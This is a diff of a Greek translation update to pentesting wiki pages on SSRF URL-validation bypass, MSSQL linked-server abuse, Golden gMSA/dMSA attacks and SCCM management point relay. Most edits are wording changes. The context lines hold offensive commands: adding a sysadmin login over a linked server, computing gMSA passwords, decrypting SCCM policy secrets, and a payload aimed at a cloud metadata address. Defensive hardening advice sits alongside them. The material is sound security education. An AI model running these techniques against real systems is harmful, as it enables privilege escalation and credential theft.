* Αφαιρέστε τα υπολειπόμενα αρχεία **`InstallWizard.aspx*`** μετά την εγκατάσταση.
|
||||
* Απενεργοποιήστε την εξερχόμενη SMB (θύρες 445/139).
|
||||
* Επιβάλετε ισχυρούς *Host Filters* στον edge proxy αντί για μέσα στο DNN.
|
||||
* Εμποδίστε την πρόσβαση στο `/API/RemoteContentProxy` αν δεν χρησιμοποιείται.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -158,7 +158,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα header Host ή σε ένα header CORS.
|
||||
Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -218,13 +218,13 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
|
||||
### Πρόσφατα CVEs ανάλυσης βιβλιοθηκών (2022–2025)
|
||||
|
||||
Ένα αριθμός κύριων πλαισίων έχει υποστεί προβλήματα ασυμφωνίας ονομάτων που μπορούν να εκμεταλλευτούν για SSRF μόλις η επαλήθευση URL έχει παρακαμφθεί με τα κόλπα που αναφέρονται παραπάνω:
|
||||
Ένα αριθμός mainstream frameworks έχει υποστεί προβλήματα ασυμφωνίας ονομάτων που μπορούν να εκμεταλλευτούν για SSRF μόλις η επαλήθευση URL έχει παρακαμφθεί με τα κόλπα που αναφέρονται παραπάνω:
|
||||
|
||||
| Έτος | CVE | Συστατικό | Περίληψη σφάλματος | Ελάχιστο PoC |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` δεν επιτρέπεται στην ενότητα *userinfo*, έτσι το `https://example.com\[@internal` αναλύεται ως κόμβος `example.com` από το Spring αλλά ως `internal` από τους περιηγητές, επιτρέποντας open-redirect & SSRF όταν χρησιμοποιούνται οι λίστες επιτρεπόμενων κόμβων. Αναβάθμιση σε Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Η σύγχυση με την αντίστροφη κάθετο επέτρεψε το `http://example.com\\@169.254.169.254/` να παρακάμψει τους φίλτρους κόμβων που διαχωρίζονται με `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Η επαλήθευση ονόματος κόμβου παραλείφθηκε όταν το όνομα έχει κατάληξη με `.` (σύγχυση τομέα χωρίς τελεία). |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Η σύγχυση με την αντίστροφη κάθετο επέτρεψε το `http://example.com\\@169.254.169.254/` να παρακάμψει τους φίλτρους κόμβων που διαχωρίζονται στο `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Η επαλήθευση ονόματος κόμβου παραλείφθηκε όταν το όνομα έχει κατάληξη με `.` (σύγχυση χωρίς τελεία). |
|
||||
|
||||
Όταν εξαρτάστε από τρίτους αναλυτές URL, **συγκρίνετε τον κανονικοποιημένο κόμβο που επιστρέφεται από τη βιβλιοθήκη που εμπιστεύεστε με τη raw συμβολοσειρά που παρέχεται από τον χρήστη** για να ανιχνεύσετε αυτές τις κατηγορίες προβλημάτων.
|
||||
|
||||
|
||||
@ -176,7 +176,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
||||
|
||||
## MSSQL Εμπιστευμένοι Σύνδεσμοι
|
||||
|
||||
Εάν μια παρουσία MSSQL είναι εμπιστευμένη (σύνδεσμος βάσης δεδομένων) από μια διαφορετική παρουσία MSSQL. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη παρουσία**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει κάποια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
|
||||
Εάν μια MSSQL παρουσία είναι εμπιστευμένη (σύνδεσμος βάσης δεδομένων) από μια διαφορετική MSSQL παρουσία. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη παρουσία**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει κάποια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
|
||||
|
||||
**Οι σύνδεσμοι μεταξύ των βάσεων δεδομένων λειτουργούν ακόμη και σε διασυνδέσεις δασών.**
|
||||
|
||||
@ -252,7 +252,7 @@ EXEC sp_linkedservers;
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ελέγξτε πού χρησιμοποιούνται τα διπλά και τα μονά εισαγωγικά, είναι σημαντικό να τα χρησιμοποιείτε με αυτόν τον τρόπο.
|
||||
> Ελέγξτε πού χρησιμοποιούνται τα διπλά και τα απλά εισαγωγικά, είναι σημαντικό να τα χρησιμοποιείτε με αυτόν τον τρόπο.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
Ο **τοπικός χρήστης MSSQL** συνήθως έχει έναν ειδικό τύπο προνομίου που ονομάζεται **`SeImpersonatePrivilege`**. Αυτό επιτρέπει στον λογαριασμό να "παριστάνει έναν πελάτη μετά την αυθεντικοποίηση".
|
||||
|
||||
Μια στρατηγική που έχουν προτείνει πολλοί συγγραφείς είναι να αναγκάσουν μια υπηρεσία SYSTEM να αυθεντικοποιηθεί σε μια κακόβουλη ή υπηρεσία man-in-the-middle που δημιουργεί ο επιτιθέμενος. Αυτή η κακόβουλη υπηρεσία μπορεί στη συνέχεια να παριστάνει την υπηρεσία SYSTEM ενώ προσπαθεί να αυθεντικοποιηθεί.
|
||||
Μια στρατηγική που έχουν προτείνει πολλοί συγγραφείς είναι να αναγκάσουν μια υπηρεσία SYSTEM να αυθεντικοποιηθεί σε μια κακόβουλη ή υπηρεσία man-in-the-middle που δημιουργεί ο επιτιθέμενος. Αυτή η κακόβουλη υπηρεσία είναι στη συνέχεια ικανή να παριστάνει την υπηρεσία SYSTEM ενώ προσπαθεί να αυθεντικοποιηθεί.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) έχει μια συλλογή από αυτές τις διάφορες τεχνικές που μπορούν να εκτελούνται μέσω της εντολής `execute-assembly` του Beacon.
|
||||
|
||||
|
||||
@ -16,8 +16,8 @@
|
||||
* Το **SID** του στοχευόμενου λογαριασμού.
|
||||
* Ένα **ManagedPasswordID** ανά λογαριασμό (GUID) που βρίσκεται στο χαρακτηριστικό `msDS-ManagedPasswordId`.
|
||||
|
||||
Η παραγωγή είναι: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob που τελικά **κωδικοποιείται σε base64** και αποθηκεύεται στο χαρακτηριστικό `msDS-ManagedPassword`.
|
||||
Δεν απαιτείται καμία κίνηση Kerberos ή αλληλεπίδραση με το domain κατά τη διάρκεια της κανονικής χρήσης του κωδικού πρόσβασης – ένας μέλος υπολογιστής παράγει τον κωδικό πρόσβασης τοπικά όσο γνωρίζει τις τρεις εισόδους.
|
||||
Η παραγωγή είναι: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob τελικά **base64-encoded** και αποθηκευμένο στο χαρακτηριστικό `msDS-ManagedPassword`.
|
||||
Δεν απαιτείται καμία κίνηση Kerberos ή αλληλεπίδραση με το domain κατά τη διάρκεια της κανονικής χρήσης κωδικού πρόσβασης – ένας μέλος υπολογιστής παράγει τον κωδικό πρόσβασης τοπικά όσο γνωρίζει τις τρεις εισόδους.
|
||||
|
||||
## Χρυσή επίθεση gMSA / Χρυσή dMSA
|
||||
|
||||
@ -32,7 +32,7 @@
|
||||
|
||||
1. **Συμβιβασμός σε επίπεδο δάσους** ενός **DC** (ή Enterprise Admin), ή πρόσβαση `SYSTEM` σε έναν από τους DCs στο δάσος.
|
||||
2. Δυνατότητα καταμέτρησης λογαριασμών υπηρεσιών (ανάγνωση LDAP / brute-force RID).
|
||||
3. .NET ≥ 4.7.2 x64 workstation για να τρέξει το [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ή ισοδύναμο κώδικα.
|
||||
3. .NET ≥ 4.7.2 x64 workstation για να τρέξει [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ή ισοδύναμο κώδικα.
|
||||
|
||||
### Χρυσή gMSA / dMSA
|
||||
##### Φάση 1 – Εξαγωγή του KDS Root Key
|
||||
@ -103,7 +103,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
* Παρακολουθήστε τη δημιουργία **Λειτουργίας Επαναφοράς Υπηρεσιών Καταλόγου (DSRM)** ή **Αντίγραφο Σκιάς Όγκου** σε DCs.
|
||||
* Ελέγξτε τις αναγνώσεις / αλλαγές στα `CN=Master Root Keys,…` και τις σημαίες `userAccountControl` των λογαριασμών υπηρεσιών.
|
||||
* Ανιχνεύστε ασυνήθιστες **εγγραφές κωδικών πρόσβασης base64** ή ξαφνική επαναχρησιμοποίηση κωδικών πρόσβασης υπηρεσιών σε διάφορους υπολογιστές.
|
||||
* Σκεφτείτε να μετατρέψετε τις υψηλής προνομιακής gMSAs σε **κλασικούς λογαριασμούς υπηρεσιών** με κανονικές τυχαίες περιστροφές όπου η απομόνωση Tier-0 δεν είναι δυνατή.
|
||||
* Σκεφτείτε να μετατρέψετε τις gMSAs υψηλής προνομιακής πρόσβασης σε **κλασικούς λογαριασμούς υπηρεσιών** με κανονικές τυχαίες περιστροφές όπου η απομόνωση Tier-0 δεν είναι δυνατή.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
@ -115,7 +115,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
## Αναφορές
|
||||
|
||||
- [Golden dMSA – παράκαμψη αυθεντικοποίησης για εξουσιοδοτημένους Διαχειριζόμενους Λογαριασμούς Υπηρεσιών](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Επιθέσεις Λογαριασμών Active Directory](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [gMSA Active Directory Επιθέσεις Λογαριασμών](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Χρυσή επίθεση εμπιστοσύνης gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Με την πίεση ενός **System Center Configuration Manager (SCCM) Management Point (MP)** να αυθεντικοποιηθεί μέσω SMB/RPC και **αναμεταδίδοντας** αυτόν τον λογαριασμό μηχανής NTLM στη **βάση δεδομένων του ιστότοπου (MSSQL)** αποκτάτε δικαιώματα `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Αυτοί οι ρόλοι σας επιτρέπουν να καλέσετε ένα σύνολο αποθηκευμένων διαδικασιών που εκθέτουν **Operating System Deployment (OSD)** blobs (διαπιστευτήρια Network Access Account, μεταβλητές Task-Sequence, κ.λπ.). Τα blobs είναι κωδικοποιημένα/κρυπτογραφημένα σε hex αλλά μπορούν να αποκωδικοποιηθούν και να αποκρυπτογραφηθούν με **PXEthief**, αποκαλύπτοντας κείμενα μυστικά.
|
||||
Με την πίεση ενός **System Center Configuration Manager (SCCM) Management Point (MP)** να αυθεντικοποιηθεί μέσω SMB/RPC και **αναμεταδίδοντας** αυτόν τον λογαριασμό μηχανής NTLM στη **βάση δεδομένων του ιστότοπου (MSSQL)** αποκτάτε δικαιώματα `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Αυτοί οι ρόλοι σας επιτρέπουν να καλέσετε ένα σύνολο αποθηκευμένων διαδικασιών που εκθέτουν **Operating System Deployment (OSD)** policy blobs (διαπιστευτήρια Network Access Account, μεταβλητές Task-Sequence, κ.λπ.). Τα blobs είναι κωδικοποιημένα/κρυπτογραφημένα σε hex αλλά μπορούν να αποκωδικοποιηθούν και να αποκρυπτογραφηθούν με **PXEthief**, αποκαλύπτοντας κείμενα μυστικά.
|
||||
|
||||
High-level chain:
|
||||
1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
@ -65,23 +65,23 @@ SELECT SMS_Unique_Identifier0
|
||||
FROM dbo.UnknownSystem_DISC
|
||||
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
|
||||
```
|
||||
### 3.2 Λίστα ανατεθειμένων πολιτικών
|
||||
### 3.2 Λίστα εκχωρημένων πολιτικών
|
||||
```sql
|
||||
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
|
||||
```
|
||||
Κάθε γραμμή περιέχει `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
|
||||
|
||||
Επικεντρωθείτε σε πολιτικές:
|
||||
* **NAAConfig** – Διαπιστευτήρια λογαριασμού πρόσβασης δικτύου
|
||||
* **TS_Sequence** – Μεταβλητές ακολουθίας εργασιών (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – Μπορεί να περιέχει λογαριασμούς εκτέλεσης
|
||||
* **NAAConfig** – Διαπιστευτήρια Λογαριασμού Πρόσβασης Δικτύου
|
||||
* **TS_Sequence** – Μεταβλητές Ακολουθίας Εργασιών (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – Μπορεί να περιέχει λογαριασμούς run-as
|
||||
|
||||
### 3.3 Ανάκτηση πλήρους σώματος
|
||||
Εάν έχετε ήδη `PolicyID` & `PolicyVersion` μπορείτε να παραλείψετε την απαίτηση clientID χρησιμοποιώντας:
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> ΣΗΜΑΝΤΙΚΟ: Στο SSMS αυξήστε το “Μέγιστο Πλήθος Χαρακτήρων που Ανακτήθηκαν” (>65535) ή το blob θα κοπεί.
|
||||
> ΣΗΜΑΝΤΙΚΟ: Στο SSMS αυξήστε το “Maximum Characters Retrieved” (>65535) αλλιώς το blob θα κοπεί.
|
||||
|
||||
---
|
||||
|
||||
@ -93,7 +93,7 @@ echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
# Decrypt with PXEthief (7 = decrypt attribute value)
|
||||
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
|
||||
```
|
||||
Ανακτημένα μυστικά παράδειγμα:
|
||||
Παράδειγμα ανακτημένων μυστικών:
|
||||
```
|
||||
OSDJoinAccount : CONTOSO\\joiner
|
||||
OSDJoinPassword: SuperSecret2025!
|
||||
@ -127,9 +127,9 @@ AND pe.permission_name='EXECUTE';
|
||||
---
|
||||
|
||||
## 6. Ανίχνευση & Σκληροποίηση
|
||||
1. **Παρακολούθηση συνδέσεων MP** – οποιοσδήποτε λογαριασμός υπολογιστή MP που συνδέεται από μια IP που δεν είναι η κεντρική του ≈ relay.
|
||||
1. **Παρακολούθηση συνδέσεων MP** – οποιοσδήποτε λογαριασμός υπολογιστή MP που συνδέεται από μια IP που δεν είναι ο οικοδεσπότης του ≈ relay.
|
||||
2. Ενεργοποιήστε την **Εκτενή Προστασία για Αυθεντικοποίηση (EPA)** στη βάση δεδομένων του ιστότοπου (`PREVENT-14`).
|
||||
3. Απενεργοποιήστε το μη χρησιμοποιούμενο NTLM, επιβάλετε την υπογραφή SMB, περιορίστε το RPC (
|
||||
3. Απενεργοποιήστε το NTLM που δεν χρησιμοποιείται, επιβάλετε την υπογραφή SMB, περιορίστε το RPC (
|
||||
οι ίδιες μετρήσεις που χρησιμοποιούνται κατά του `PetitPotam`/`PrinterBug`).
|
||||
4. Σκληρύνετε την επικοινωνία MP ↔ DB με IPSec / αμοιβαίο TLS.
|
||||
|
||||
@ -149,7 +149,7 @@ abusing-ad-mssql.md
|
||||
|
||||
|
||||
## Αναφορές
|
||||
- [Θα ήθελα να μιλήσω με τον διευθυντή σας: Κλέβοντας μυστικά με Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [Θα ήθελα να μιλήσω με τον διευθυντή σας: Κλοπή μυστικών με Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||
- [Διαχειριστής Κακής Διαμόρφωσης – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user